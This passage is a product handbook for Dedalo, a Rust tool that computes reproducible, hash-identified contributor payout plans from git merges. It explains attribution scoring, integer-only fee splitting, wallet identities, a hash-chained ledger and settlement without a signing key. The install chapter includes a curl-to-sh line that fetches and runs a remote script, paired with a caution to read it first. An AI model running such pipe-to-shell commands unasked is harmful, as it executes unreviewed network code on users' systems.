Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Introduction

Dedalo turns merges that are already in a git repository into a deterministic, auditable payout plan — and, eventually, into money that reaches the people who wrote the code.

The premise is narrow on purpose. Dedalo keeps no database of who did what. A round is a function of two things that already live in your repository:

merge history  +  dedalo.toml  ──▶  a payout plan, identified by its own hash

Run it twice on the same history and the same config, on any machine, and you get the same plan with the same id. So a plan whose id changed is a plan someone tampered with, and anybody — a contributor, an auditor, a funder — can recompute a round instead of trusting the maintainer who published it.

status pre-release on-chain broadcast not live signing key none, by design ledger hash-chained money integers only msrv 1.90.0 licence MIT

What this book is

The handbook: how Dedalo works, how to operate it, and what its guarantees actually mean.

It is not the API reference. That is generated from the source by rustdoc and published per released version on docs.rs/dedalo — the copy that matches the crate you installed, rather than one built from whatever main looked like this morning. Every link to a type or function in this book goes there.

You wantGo to
To run a round todayQuickstart
To understand the arithmeticMoney
Every config keydedalo.toml
Every command and flagCommand line
Signatures and typesdocs.rs/dedalo
To decide whether to trust itWhat is proved

Why merges

Because a merge is the moment a project has already decided that work was worth having. It is reviewed, it is dated, it names its authors and its co-authors, and it is signed into a history nobody can quietly rewrite. Every other candidate — issues closed, hours logged, a maintainer’s judgement at the end of the month — needs somebody to type it in, and anything typed in is something that can be typed in wrong.

That decision has a cost, and this book states it rather than hiding it: work that never becomes a merge on the tracked branch earns nothing. Review, triage, documentation written in an issue thread, the design conversation that saved a month — none of it scores today. Review-weighted attribution is the first of those gaps being closed, and the roadmap names the rest.

What Dedalo will not do

Being explicit about this is most of the reason the project can be trusted with money at all.

  • It does not hold a signing key. Not in CI, not in config, not on a maintainer’s laptop. dedalo propose prints transactions; people execute them from a multisig. There is no flag that changes this.
  • It does not pretend to broadcast. The evm backend builds the exact call a plan translates into and then returns an error rather than a fake receipt. A settlement path that lies is worse than one that is missing.
  • It does not round in its own favour. Fees round down, always, and the remainder stays with contributors.
  • It does not silently drop anyone. A contributor with no wallet on file appears in the plan’s unresolved list with a reason, and the money is accounted for rather than absorbed.

Where things stand

The pipeline from git history to a verified, reproducible payout plan is implemented and tested end to end. On-chain settlement is not live. The vault’s rules are ordinary Rust with a test per refusal; the deployable that wraps them is an Arbitrum Stylus crate, and it is unaudited and undeployed.

How funds move lists what has to exist before anything real moves. Until then the default backend is dry-run, which produces identical numbers minus the broadcast.

Install

Dedalo is one crate that builds one binary. Pick whichever of these fits how you already install things.

From crates.io

cargo install dedalo --locked

--locked builds against the dependency versions the release was tested with. Without it Cargo is free to pick newer ones, which is usually fine and occasionally is not the thing you want from a tool that computes payments.

Prebuilt binary, no compile

cargo binstall dedalo

cargo-binstall reads the metadata in Cargo.toml, fetches the release archive for your platform from the releases page, and skips the compile.

Install script

curl -fsSL https://raw.githubusercontent.com/dedalo-org/dedalo/main/install.sh | sh

The script verifies the published SHA-256 before it installs anything.

Note — piping a script from the network into a shell is a thing worth being awake for. Read install.sh first if you have not; it is short, and it is the same file the checksum covers.

Platforms

Releases are built for five targets:

TargetNotes
x86_64-unknown-linux-gnu
x86_64-unknown-linux-muslstatic, for containers and CI images
aarch64-apple-darwinApple silicon
x86_64-apple-darwinIntel macs
x86_64-pc-windows-msvcpublished as .zip

Every archive ships with a SHA-256 checksum and signed build provenance. To check that a binary came from this repository’s release workflow and not from somewhere else:

gh attestation verify dedalo --repo dedalo-org/dedalo

In a GitHub workflow

Do not install it by hand. Dedalo ships as an action:

- uses: dedalo-org/dedalo@v0
  with:
    command: plan
    amount: "1000"

See In CI for the whole job, including the fetch-depth: 0 that attribution needs.

As a library

The binary is a thin shell over the library in the same crate. Turning the default features off leaves the pipeline without clap, tokio or a tracing subscriber:

[dependencies]
dedalo = { version = "0.1", default-features = false }

See Using the library.

Building from a clone

git clone https://github.com/dedalo-org/dedalo
cd dedalo
cargo build --release

rustup reads rust-toolchain.toml on entry, so you get the compiler CI uses without choosing one. The minimum supported version is 1.90.0, and it is verified rather than asserted: CI builds with exactly that compiler on every pull request.

Check it worked

$ dedalo --version
dedalo 0.1.0

Quickstart

Ten minutes, no money, no wallet, no chain. At the end you will have a payout plan for a real repository and a ledger that proves it was not edited afterwards.

1. Describe the project

cd my-project
dedalo init --open-collective my-project

That writes a commented dedalo.toml at the repository root. It is meant to be committed: the file is the project’s funding policy, and it should be reviewed like any other change. See dedalo.toml for every key.

The three addresses under [wallets] are zeroed placeholders. Leave them for now — nothing in this chapter sends anything anywhere.

2. See what is unpaid

$ dedalo scan
4 merges since af3141b5

  9c2f1ab  feat(parser): streaming tokenizer          ada     +412 -38
  1de77c0  fix(cli): honour NO_COLOR                  bea      +11  -4
  4a0b93e  docs: rewrite the configuration chapter    cy       +96 -21
  7f10d55  feat(money): largest-remainder splits      ada     +180 -12

scan reads merge commits on the branch named in [git] branch, starting after the last settled commit. Nothing has been settled yet, so this is the whole history.

Note — nothing here reaches the network. Stages 1 to 3 of the pipeline read the repository and compute; only settlement has side effects.

3. Score them

$ dedalo contributors
HANDLE                      MERGES   POINTS    SHARE
ada <ada@example.com>            2   1,124    62.35%
cy <cy@example.com>              1     432    23.96%
bea <bea@example.com>            1     247    13.69%

Scores are milli-points, integers, computed from the rules in [attribution]: a flat score per merge, per-line scoring, a per-merge cap, and Co-authored-by: splitting. Same history, same numbers, every machine. See Attribution.

4. Price a round

$ dedalo plan --amount 1000
Round ded106bd7281  4 merges on main → 7f10d55
Gross 1000 USDC

PAYEE            KIND         WALLET           SHARE  AMOUNT
ada              contributor  0xAdA00000000…  51.44%  514.39
cy               contributor  0xCy000000000…  19.77%  197.71
bea              contributor  0xBeA00000000…  11.29%  112.90
treasury         treasury     0x2222222222…   15.00%     150
demo-collective  protocol     0x3333333333…    2.50%      25

The fee schedule comes off the top first, then the rest is split by weight. ded106bd7281 is the plan’s id: a hash over everything that determines the outcome. It excludes the timestamp on purpose, so re-running this command gives you the same id.

Try it. Then change one number in [attribution] and try again — the id moves, because the answer moved.

5. Simulate the settlement

$ dedalo settle --amount 1000
dry-run: 5 transfers, 1000 USDC, plan ded106bd7281
ok plan id matches its contents
ok transfers sum to the gross amount
ok no transfer to the zero address
nothing was broadcast

settle without --execute runs the whole settlement path against the dry-run backend: it re-verifies the plan and reports exactly what would move. The numbers are the ones a real settlement would use.

6. Check the record

$ dedalo verify
head dedc6ddbbef5415e6dcbf805b60affd83c49
ok 2 entries hash to their recorded ids
ok 1 settled plan present and self-consistent

.dedalo/ now holds a hash-chained ledger of what happened. Every entry names its parent and hashes over it, so editing an old one breaks every id after it. verify needs no network and no key — it is a check anyone with a clone can run, which is the whole point. See The ledger.

Every command takes --json

$ dedalo plan --amount 1000 --json | jq '.items[] | {handle, amount}'

The JSON shape is a contract, not incidental output: action.yml parses it and tests/cli.rs pins the fields it reads. See JSON output.

Next

  • Your first round — the same thing with real identities and a real decision about who gets paid.
  • The pipeline — what each stage is allowed to do.
  • In CI — where this belongs long term.

Your first round

The quickstart produced numbers. This chapter produces numbers you would be willing to defend, which is a different job: it is mostly about identities, and about the two questions a plan makes you answer.

Attribution scores git emails, because that is what a commit carries. A payout goes to a wallet. The mapping between them is the only part of Dedalo that a human types in, and therefore the only part that can be wrong in a way arithmetic cannot catch.

dedalo identity link ada 0xAdA0000000000000000000000000000000000000 \
  --email ada@example.com \
  --email ada@work.example

One handle, one wallet, as many emails as that person commits under. This is what makes one wallet, one transfer true: someone who commits from three machines is one payee, not three.

identity link validates the address before it writes it down, and tells you how strong that check was:

$ dedalo identity link ada 0xAdA0000000000000000000000000000000000000 --email ada@example.com
linked ada → 0xAdA0000000000000000000000000000000000000
warning: EIP-55 checksum carries 7 bits for this address
         a typo has roughly a 1-in-128 chance of surviving it
         confirm the address with ada through a second channel

That warning is not boilerplate. EIP-55 hides its checksum in the capitalisation of the hex letters, so an address with few letters carries few bits. See Identities and wallets.

Find who is still missing

$ dedalo identity missing
2 contributors have no wallet on file

  cy@example.com    1 merge    23.96% of the pending round
  dee@example.com   1 merge     4.10% of the pending round

Run this before you plan, every time. It is the difference between a round you meant and a round you have to redo.

The two questions a plan asks

Is this the right split?

$ dedalo plan --amount 1000

Read the SHARE column, not the AMOUNT column. The amounts follow from the shares; the shares follow from [attribution], and if a share looks wrong the fix is in the config, not in the plan.

A merge that vendored a dependency and scored 5,000 points is the classic case. That is what max_points_per_merge is for, and the moment to set it is now, before the round rather than after it.

Is anybody being dropped?

$ dedalo plan --amount 1000 --json | jq '.unresolved'
[
  { "email": "cy@example.com",  "reason": "no identity links this email" },
  { "email": "dee@example.com", "reason": "no identity links this email" }
]

Nobody is ever silently dropped — but “reported” is not “paid”. Two ways forward, and they are a real choice:

What happens
Link them first, then planThey are in the round. Requires reaching them.
Plan nowTheir share stays in the round, unclaimed, until they link a wallet and claim it.

The second is the point of the pull model: a round is deposited once against a Merkle root, and each contributor claims their own share whenever they turn up. undistributed stops meaning “money with nowhere to go” and starts meaning “not claimed yet”.

Carefuldedalo settle --allow-undistributed exists for the case where nobody in a round has a wallet and you meant to send the fees alone. If you find yourself reaching for it in a normal round, an identity link is missing and the flag is the wrong answer.

Save the plan, then act on the saved one

dedalo plan --amount 1000 --save

--save writes the plan into .dedalo/objects and records it in the ledger. From then on, refer to it by id:

dedalo propose --plan ded106bd7281
dedalo settle  --plan ded106bd7281

This matters more than it looks. Without --save, settle --amount 1000 recomputes the plan — and if a merge landed in the meantime, that is a different plan from the one you reviewed. Saving first means the round people approved is the round that executes.

Commit the record

git add dedalo.toml .dedalo/
git commit -m "chore: fund round ded106bd7281"

.dedalo/ belongs in git and must never go in .gitignore. A CI job clones fresh; a runner that cannot see past rounds would pay them again.

When it is real

Everything above ran against the dry-run backend and spent nothing. What has to be true before a round moves actual funds is listed in Funding from a multisig — the short version is a deployed and audited claim contract, three real addresses, and signers who are not one person.

The pipeline

Four stages, and the line between the third and the fourth is the most important line in the codebase.

git  ──▶  attribution  ──▶  payout plan  ──▶  settlement
         ─────────── pure, offline ──────────┤  side effects live here
StageInputOutputMay it touch the network?
gita repositorymerge eventsno — reads the working tree
attributionmerge events + policyinteger weightsno
payoutweights + fees + identitiesa PayoutPlanno
chain::settlementa plana receipt, or a refusalyes, and only here

Why the line is there

Stages 1 to 3 are a pure function. Given the same repository at the same commit and the same dedalo.toml, they produce byte-identical output on any machine, in any order, however many times you run them. That is what makes a plan checkable by someone who does not trust you: they run the same function and compare ids.

The moment any of those stages could read from the network, that stops being true. A price feed, a “current” exchange rate, an API that lists contributors — each one turns a reproducible computation into a snapshot of a moment that cannot be reproduced. So the rule is absolute rather than a preference:

Careful — if you find yourself reaching for the network inside attribution or payout, the design has gone wrong. There is no exception for “just once, cached”.

Stage 1 — read the history

git::GitBackend is a trait with four methods: the repository root, the current branch, resolving a revision, and listing merges matching a query. The shipped implementation, CliGit, drives the git binary.

It is a trait for two reasons. Tests substitute a backend built from dedalo::testing, which makes throwaway repositories with real merge commits. And a different implementation — libgit2, a server-side API, or a version control system that is not git at all — can be dropped in without touching anything downstream. The rest of the pipeline never sees a git invocation; it sees MergeEvent values.

What a MergeEvent carries: the merge commit’s hash and date, who pressed merge, the commits it introduced with their authors and Co-authored-by: trailers, and the aggregated diff of the merge against its first parent.

Note — everything downstream of this stage is already abstract over the version control system. The concrete work of making Dedalo run on something other than git is issue #23: git stays the reference implementation and the source of truth for git projects, but “a merge” is not a git-only idea.

Stage 2 — score it

Attribution turns merges into integer weights in milli-points. Rules come from [attribution] in the config; nothing here knows about money.

Stage 3 — build the plan

Payout does three things in a fixed order:

  1. Take the fee schedule off the top — protocol first, then treasury.
  2. Split what remains across contributors by weight, using the largest-remainder method.
  3. Resolve each contributor to a wallet via identities, merging the several emails of one person into one item, and listing whoever could not be resolved under unresolved.

The result is a PayoutPlan and its id: a hash over the range, the policy, the fee schedule and the resulting items. The id deliberately excludes created_at, because the time you ran it is not part of the answer.

Stage 4 — settle

Settlement is the only stage with side effects, and it is mostly refusals. It re-verifies the plan’s id against its contents before doing anything, refuses the zero address, refuses a round that reaches nobody, and refuses a plan id the ledger has already settled.

Two backends ship. dry-run reports what would move and moves nothing. evm validates the configuration, builds the exact distributor call the plan translates into, and then returns Error::NotImplemented rather than a receipt — because broadcasting from an unaudited signing path would put real funds at risk, and a fake receipt would be worse than an honest refusal.

Where the ledger sits

The ledger is not a stage. It is the record the stages write to: a plan saved with --save is recorded, and a settlement appends an entry naming its parent. It is what makes rounds idempotent — the same plan id cannot be settled twice — and what dedalo verify reads.

Attribution

Attribution answers one question: of the work merged in this range, what fraction is each person’s? It answers it in integers, and it never looks at money.

The unit

Scores are milli-points: u128, where 1 point is 1,000 milli-points.

That is not a style choice. points_per_insertion = 1.0 is a decimal in the config because writing “half a point per deleted line” as 0.5 is what people mean, but a float in the scoring path would make the result depend on the order of additions and on the machine’s rounding mode. Two contributors could get different shares from the same history on different laptops, and neither could prove the other wrong. So the decimals in the config are converted to milli-points once, at the edge, and everything after that is integer arithmetic.

What a merge is worth

merge_points = base_points
             + insertions × points_per_insertion
             + deletions  × points_per_deletion
             ── capped at max_points_per_merge
KeyDefaultWhat it does
base_points100Flat score every merged pull request earns, regardless of size.
points_per_insertion1.0Per added line.
points_per_deletion0.5Per removed line. Deleting code is work too.
max_points_per_merge5000Ceiling, so one merge cannot dominate a round.
credit_mergerfalseAlso credit whoever pressed merge.
split_with_co_authorstrueShare a commit’s score with its Co-authored-by: trailers.

The diff is measured against the merge’s first parent, which is what “what did this merge bring into main” means. A merge that brings in nothing scores base_points and no more.

Why base_points exists

Without it, scoring is purely per-line, and per-line scoring rewards verbosity. A one-line fix to an off-by-one that was losing money is worth more than a three-hundred-line refactor of a test helper, and no line-counting formula will ever say so. base_points is the part of the score that says “this was reviewed and merged”, which is the only judgement git actually records.

Projects that want the flat part to dominate raise it; projects paying for bulk work lower it. There is no correct value, and the config is the place that decision is written down and reviewed.

Why the cap exists

One merge that vendors a dependency, regenerates a lockfile, or imports a grammar can be a hundred thousand lines. Without max_points_per_merge that merge takes the round. The cap is applied to the merge before its score is split between people, so it cannot be evaded by adding co-authors.

Splitting within a merge

A merge’s points are divided across the people it credits:

  • every commit’s author;
  • their Co-authored-by: trailers, when split_with_co_authors is on;
  • whoever pressed merge, when credit_merger is on.

Splitting uses the same largest-remainder method the money does, so a merge’s points sum back to exactly what the merge was worth. There is no path where a rounding step quietly creates or destroys a point.

Who is excluded

[git]
ignore_subjects = ["chore(release)", "Merge branch"]
ignore_emails   = ["noreply@github.com", "actions@github.com"]

ignore_subjects drops a merge entirely when its subject starts with one of these. Release commits are the main case: a version bump merged by automation is not contribution, and paying for it means paying for the act of paying.

ignore_emails drops an author. Bots commit, and a bot with a wallet is a way for a round to leak.

Both are prefix and exact matches respectively — no globbing, no regular expressions. A pattern language here would be a place for a subtle mistake to hide, and the thing being decided is who gets paid.

What attribution does not see

Worth stating plainly, because it is the honest limit of the model:

  • Review. The person who caught the bug in review scores nothing today. This is the largest known gap; review-weighted attribution is tracked and on the roadmap.
  • Issues, triage, support. A maintainer who spends the month answering questions merges nothing and earns nothing.
  • Design and decisions. The conversation that avoided a month of work leaves no merge.
  • Squash-only repositories. A repository that squash-merges without merge commits currently produces no merge events at all — see issue #13.

None of these is a reason not to run Dedalo. They are reasons to know what the number means: it is a share of merged code, not a share of contribution, and a project that wants to reward the rest can do so from the treasury slice that every round sets aside.

Determinism

The same range and the same policy always produce the same weights. Merges are ordered oldest to newest by the backend, scores are integers, and the split is deterministic. Nothing consults a clock, a random number, an environment variable or the network.

That property is what makes plan reproducible, and it is tested rather than asserted: verification.toml records attribution as covered by property tests, and tests/adversarial.rs asks specifically whether two different histories can be made to produce the same weights, or one history two different sets.

Money

This is the chapter to read if you are deciding whether to trust Dedalo with funds. Everything in it is enforced by tests, and most of it is proved exhaustively — see What is proved for the difference between those two words.

Amounts are integers

pub struct Amount(u128);

An Amount is a count of base units of an Asset: wei, satoshi, USDC micro-units. The asset carries the decimals needed to render it for a human, and that rendering happens at the edge, for display only.

Floating point never touches a balance. 0.1 + 0.2 != 0.3 in binary floating point, and a payout system that cannot make three shares add up to the round is a payout system that either creates money or loses it. Percentages are basis points (u16, 10,000 = 100%), never floats, for the same reason.

MoneyAmount::parse converts a human decimal string like "12.5" into base units exactly once, at the boundary. There is no f64 in the path from that call to the transaction.

The fee schedule

A round is cut in a fixed order, off the top:

gross
├── protocol_bps   → the network's Open Collective        (default 2.5%)
├── treasury_bps   → this project's own reserve           (default 15%)
└── the remainder  → contributors, by attribution weight  (default 82.5%)

FeeSchedule::validate refuses a schedule where the two fees reach 10,000 bps, because contributors would receive nothing and that is never what somebody meant to configure.

Fees round down

Always, and in the contributors’ direction. When protocol_bps of a gross amount is not a whole number of base units, the fee is the floor and the remainder stays in the pool that gets split across people.

This is the one place where an arbitrary choice had to be made and the direction matters: the alternative rounds fractions of a base unit into the protocol’s pocket, on every round, forever. The choice is stated here, tested, and proved over every fee schedule that validates — all 50,005,000 of them.

Splitting

Amount::split_by_weights divides an amount across integer weights using the largest-remainder method:

  1. Give each recipient floor(amount × weight / total_weight).
  2. Whatever is left over — always fewer base units than there are recipients — goes one unit at a time to the recipients with the largest fractional remainders, ties broken deterministically.

The properties that follow, each with a test:

PropertyMeaning
ConservationThe shares sum to exactly the input. Not approximately.
Zero weight, zero payA weight of zero never receives a base unit.
MonotonicityA larger weight never receives less than a smaller one.
DeterminismThe same weights in the same order always split the same way.

Conservation is the one that matters most, and it is why the method is largest-remainder rather than “divide and round each”. Rounding each share independently loses or creates base units depending on which way the fractions fell; the difference is small per round and unbounded over time.

Proved, not sampled

  • Every basis-point value — all 65,536 — rounds down and never exceeds its input.
  • Every weight vector of length ≤ 4 with weights ≤ 6 — all 2,800 of them — conserves the total, never pays a zero weight, and never pays a larger weight less.
  • Every fee schedule that validates — all 50,005,000 (protocol_bps, treasury_bps) pairs — cuts a round into three slices that sum to exactly the gross, with no fee rounded up.

Longer weight vectors and larger weights are sampled by property tests, not proved. That distinction is recorded per module in verification.toml rather than blurred, and the verification chapter explains why the line is drawn where it is.

Nothing is created, nothing goes missing

A plan’s transfers plus its undistributed field always equal exactly the gross amount that funded it. There is no third possibility:

gross == protocol fee + treasury + Σ contributor transfers + undistributed

undistributed is money that has no destination — the share of contributors who have no wallet linked. It is stated, not absorbed into somebody else’s slice and not quietly dropped. Under the pull model it is not even lost: it stays in the round until its owner claims it.

Careful — a defect that made this false was real: a round in which nobody had a wallet silently dropped 82.5% of the funds. It is fixed, and tests/adversarial.rs now holds it down. Tests marked FOUND: in that file are regressions for defects that happened here, not hypotheticals.

Overflow

u128 is not infinite. Arithmetic in the money path uses checked or saturating operations rather than wrapping ones, and a round large enough to overflow is an error rather than a very small number. verification.toml counts the arithmetic sites in each module and fails the build when the count changes, so a new multiplication cannot be added to this path without somebody looking at it.

Identities and wallets

Attribution scores git emails. A transfer needs an address. The mapping between them is the only part of a round a human types in, which makes it the only part that can be wrong in a way arithmetic cannot catch.

The shape

[[identities]]
handle = "ada"
wallet = "0xAdA0000000000000000000000000000000000000"
emails = ["ada@example.com", "ada@work.example"]

One handle, one wallet, many emails. Managed from the command line so the file stays valid:

dedalo identity link ada 0xAdA… --email ada@example.com --email ada@work.example
dedalo identity list
dedalo identity missing
dedalo identity remove ada

One wallet, one transfer

A contributor who commits from a laptop, a work machine and the GitHub web editor has three emails in the history. Attribution scores all three. Without merging, the plan would contain three items paying the same address — three transfers, three times the gas, and a payout table that looks like three people where there is one.

So contributors are merged into a single item before the plan is finalised, keyed on the wallet. Addresses are compared case-insensitively, because EIP-55 checksumming means the same account has two valid spellings and a case-sensitive comparison would treat them as two payees.

That last sentence is a test, not a remark: tests/adversarial.rs asks specifically whether one account spelled two ways can be paid twice.

Nobody is silently dropped

A contributor whose email matches no identity does not vanish. They appear in the plan’s unresolved list, with a reason:

{
  "unresolved": [
    { "email": "cy@example.com", "reason": "no identity links this email" }
  ],
  "undistributed": "197710000"
}

and their share is counted in undistributed, so the plan still balances exactly. Two ways to resolve it, and the choice is real:

  • Link them and re-plan. Requires reaching the person. The round then pays them directly.
  • Fund the round anyway. Under the pull model their share sits in the round against the Merkle root until they link a wallet and claim it. Nothing is lost by waiting.

How strong is the checksum

identity link validates an address before writing it down, and reports how much that validation is worth.

An Ethereum address is 40 hex characters. EIP-55 hides a checksum in the capitalisation of the hex letters — the characters in a-f. Digits carry no case, so they carry no checksum. An address with many letters is well protected; an address that happens to be mostly digits is barely protected at all.

Letters in the addressBits of checksumA typo survives with probability
20 (typical)20~1 in 1,000,000
15 (average)15~1 in 32,000
7 (unlucky)7~1 in 128
0 (all digits)0always

Address::checksum_bits returns the number, and identity link warns when it is low:

warning: EIP-55 checksum carries 7 bits for this address
         a typo has roughly a 1-in-128 chance of surviving it
         confirm the address with ada through a second channel

This is not the tool covering itself. The residual risk genuinely belongs to whoever pasted the address — no validator can recover a checksum that the encoding never carried — and saying so is more useful than a green tick that means less than it looks like it means.

Careful — for a wallet that will receive real money, confirm the address out of band: read the first and last six characters back to the person over a channel that is not the one it arrived on. The checksum catches typing mistakes. It does not catch an address that was substituted in transit.

Handles

The handle is a label. It appears in the payout table and in --json, and it is usually a GitHub username — but nothing checks that, and nothing resolves it against any service. Dedalo does not call GitHub to find out who anybody is; it reads the repository and the config, and that is the whole of it.

The handle is not part of the plan id. Renaming ada to ada-lovelace leaves the id unchanged, because the same wallet still receives the same amount. The wallet is what a plan commits to; the handle is how it is read.

Payout plans

A PayoutPlan is the artifact between git history and a transaction. It is pure data: computed offline, reviewable in a pull request, and identified by a hash of everything that determines it.

It exists so that the question “is this round correct?” can be answered by reading a document, rather than by trusting the program that produced it.

What is in one

{
  "id": "ded106bd7281…",
  "project": "my-project",
  "created_at": 1766000000,
  "asset": { "symbol": "USDC", "decimals": 6, "chain": "base", "contract": "0x8335…" },
  "range": { "branch": "main", "from_commit": "af3141b5…", "to_commit": "7f10d55…", "merges": 4 },
  "split": {
    "gross": "1000000000",
    "protocol": "25000000",
    "treasury": "150000000",
    "contributors": "825000000"
  },
  "items": [
    { "kind": "contributor", "handle": "ada", "wallet": "0xAdA…",
      "amount": "514390000", "score": 1124000, "share_bps": 5144 },
    { "kind": "treasury",    "handle": "treasury", "wallet": "0x2222…",
      "amount": "150000000", "score": 0, "share_bps": 1500 },
    { "kind": "protocol",    "handle": "demo-collective", "wallet": "0x3333…",
      "amount": "25000000",  "score": 0, "share_bps": 250 }
  ],
  "undistributed": "197710000",
  "unresolved": [
    { "name": "Cy", "email": "cy@example.com", "score": 432000,
      "reason": "no-wallet" }
  ]
}

Amounts are strings because they are u128 base units, and JSON numbers are doubles. A number here would round silently above 2^53, which is well inside the range of a token with 18 decimals.

The id

id = ded1 ‖ SHA-256(
       "dedalo.payout-plan.v1"
       ‖ project
       ‖ asset.symbol ‖ asset.chain ‖ asset.decimals ‖ asset.contract
       ‖ range.branch ‖ range.from_commit ‖ range.to_commit
       ‖ split.gross ‖ split.protocol ‖ split.treasury ‖ split.contributors
       ‖ undistributed
       ‖ for each item: kind ‖ wallet ‖ amount
     )[..16]

Every field is length-prefixed before it is hashed, so no two different plans can serialise to the same byte string by moving a boundary — ("ab", "c") and ("a", "bc") hash differently, which is exactly the kind of collision an attacker would go looking for.

What is deliberately outside the hash, and why:

ExcludedWhy
created_atThe time you ran the command is not part of the answer. Including it would mean the same round computed twice never matched itself.
handleA label for humans. Renaming ada to ada-lovelace does not change who is paid what — the wallet does.
scoreDerived from the weights that produced the amounts; the amounts are what the plan commits to.
range.mergesA count of what the commit range already determines.
unresolvedNobody in it is being paid. It is reported for review, and it is covered by undistributed, which is hashed.

The encoding carries a version byte. Changing what goes into the hash changes every plan id, so it is a breaking change under the release policy and the version byte is what makes an old id and a new id distinguishable rather than merely different.

Three consequences, and they are the reason the id exists:

  • Reproducibility is checkable. Anyone with the repository and the config recomputes the plan and compares one string. No diffing of tables.
  • Tampering is loud. Change an amount, a handle, a wallet, or the fee split, and the id changes. Settlement re-derives the id from the contents before it does anything and refuses a plan whose id no longer matches.
  • Rounds are addressable. --plan ded106bd7281 refers to exactly one document, forever.

Note — two different plans sharing an id would break all three. That is the first thing tests/adversarial.rs tries to construct.

Saved plans

dedalo plan --amount 1000 --save

writes the plan into .dedalo/objects under its id and records a plan-created entry in the ledger. From then on:

dedalo propose --plan ded106bd7281
dedalo settle  --plan ded106bd7281

Do this for any round that will be reviewed by somebody other than the person who ran it. settle --amount 1000 recomputes a plan from current history; if a merge landed between the review and the settlement, that is a different round from the one that was approved. Referring to a saved id removes the gap.

Reviewing one

A plan is meant to be read. The order to read it in:

  1. range — is this the range you meant? from should be the last settled commit, to the head you intend to pay for.
  2. unresolved — is anybody in here who should have been linked?
  3. share_bps — do the shares match what the project believes about who did what? Amounts follow from shares; a wrong share is a config problem.
  4. The sum. Items plus undistributed must equal gross. The code guarantees it, and checking it once by hand is how you find out that you understand the document.
  5. id — recompute it yourself and compare:
dedalo plan --amount 1000 --json | jq -r .id

Why content addressing at all

The alternative is a sequential round number, and it is worse in a specific way: a number says when a round happened, and says nothing about what was in it. Two people holding “round 7” can hold different documents and not find out. Two people holding ded106bd7281 are holding the same bytes or they are not holding it at all.

It also makes idempotence trivial to define. “Do not settle the same round twice” becomes “refuse a plan id already in the ledger”, which is an exact check rather than a heuristic about dates and amounts. See The ledger.

The ledger

.dedalo/ is shaped like .git, because the problem is the same one: a record that many people must be able to check, living in the project rather than on someone’s server.

.dedalo/
├── HEAD                        ref: refs/ledger/main
├── refs/ledger/main            the newest entry's id
└── objects/de/dc6ddbbe….json   one file per entry and per plan

Why a chain

An append-only file is append-only by convention. Nothing stops someone editing a line, and nothing afterwards can tell. For a record of who was paid what, that is not a foundation.

So each entry names its parent, and an entry’s id is a hash over its parent’s id together with its own contents:

HEAD ─▶ dedc9f… ──parent──▶ dedc41… ──parent──▶ dedc07… (root)
        settled            settled             plan-created

Change anything in an old entry and its id changes. Every entry after it named the old id, so their ids change too, and HEAD stops matching. One value attests to the whole payout history. This is append-only by arithmetic rather than by convention.

Publish HEAD — in a release note, a README, a tweet — and anyone with a clone can confirm that what they are reading is what was written.

Verifying it

$ dedalo verify
head dedc6ddbbef5415e6dcbf805b60affd83c49
ok 4 entries hash to their recorded ids
ok 2 settled plans present and self-consistent

verify recomputes every id from the entry it came from and walks the chain to the root. It reads only what is committed to the repository: no network, no key, no credentials. That is the property that matters. A check that requires the maintainer’s cooperation is a check the maintainer is being trusted for; a contributor, an auditor or a funder can run this on a fresh clone and get an answer that does not depend on anybody’s word.

Exit code is non-zero if the chain does not verify, so it belongs in CI.

Idempotence

The ledger is what makes a round happen once.

Before settling, Dedalo checks whether the plan’s id is already recorded as settled, and refuses if it is. Because a plan is content-addressed, “the same round” is an exact notion rather than a guess about dates and amounts.

While settling, it holds an exclusive lock (.dedalo/settle.lock), so two concurrent jobs cannot both pass the check and both proceed. A retried CI job does not pay twice, and neither does a workflow that somehow started twice.

The same guarantee is enforced a second time, independently, on chain: DedaloClaim.deposit refuses a plan id it has already seen. Two mechanisms for one rule, because the failure mode is paying people twice out of a treasury.

Why plain JSON

Objects are stored as readable JSON rather than compressed blobs. A round is meant to be reviewable in a pull request, and a zlib blob is not reviewable — the diff would be noise, and the review would be of the tool rather than of the numbers.

The cost is size. It is the right trade: a project running twelve rounds a year accumulates kilobytes, and being able to read a payout record in a pull request is worth more than the kilobytes.

Why not in .git/

Because it has to be committed.

A CI job clones fresh. Anything in .git/ that is not a commit does not survive that clone, and a runner that cannot see past rounds would compute the range from the beginning of history and pay every one of them again.

Careful.dedalo/ and dedalo.toml are public records and belong in git. Do not add them to .gitignore. If a round is missing from a clone, the next round will overlap it.

Entry kinds

KindWritten whenCarries
plan-createdplan --savethe plan id and its gross amount
settleda settlement completesthe plan id and the backend’s receipt

The pending range is derived from the newest settled entry: scan starts after the commit that round covered. --since overrides it when you need to recompute a range by hand.

Migrating an old ledger

Repositories written by a pre-chain version have a flat ledger.jsonl. It is detected rather than ignored, because silently starting a new chain next to an old log would lose the history that says which rounds already happened:

dedalo ledger --migrate

converts the flat log into chain entries and stops. Commit the result.

Settlement

The fourth stage, and the only one with side effects. It is mostly a list of things it refuses to do.

The backends

BackendWhat it doesStatus
dry-runRe-verifies the plan and reports every transfer that would happen. Moves nothing.default
evmValidates the config, builds the exact distributor call the plan translates into, then stops before signing.returns NotImplemented
[settlement]
backend = "dry-run"

dry-run is the default because the safe thing should be the default. It produces the same numbers a real settlement would; the difference is the broadcast, not the arithmetic.

Careful — the evm backend deliberately returns an error instead of pretending to broadcast. If you are reading the source and are tempted to “fix” that by returning a receipt: a settlement path that lies is worse than one that is missing. That refusal is the honest state of the project.

What settlement refuses

Every one of these is a way money could otherwise be lost:

  • A plan whose id does not match its contents. The id is re-derived from the plan before anything else happens. This catches an edited plan file, and it catches a plan built by a different version of the code.
  • A plan id already settled. The ledger is consulted, and an exclusive lock is held for the duration, so a retry or a concurrent job cannot pay twice. See Idempotence.
  • A transfer to the zero address. An unset placeholder in [wallets] is the common cause, and sending to it burns the money.
  • A round that reaches nobody. If the whole contributor pool is undistributed, settlement stops. --allow-undistributed overrides it, and exists for the case where you genuinely meant to send only the fees.

Dedalo holds no signing key

Not in CI, not in dedalo.toml, not on a maintainer’s machine. There is no flag that changes this, and there is no config key that names an environment variable holding one — settlement.signer_env was removed on purpose and must not come back.

What happens instead:

dedalo propose --plan ded106bd7281

prints the two transactions a round needs, with their calldata encoded, for somebody to execute from a multisig:

1. approve(claimContract, 1000000000)
   to     0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913
   data   0x095ea7b3…

2. deposit(planId, merkleRoot, token, 1000000000)
   to     0x0000000000000000000000000000000000000000
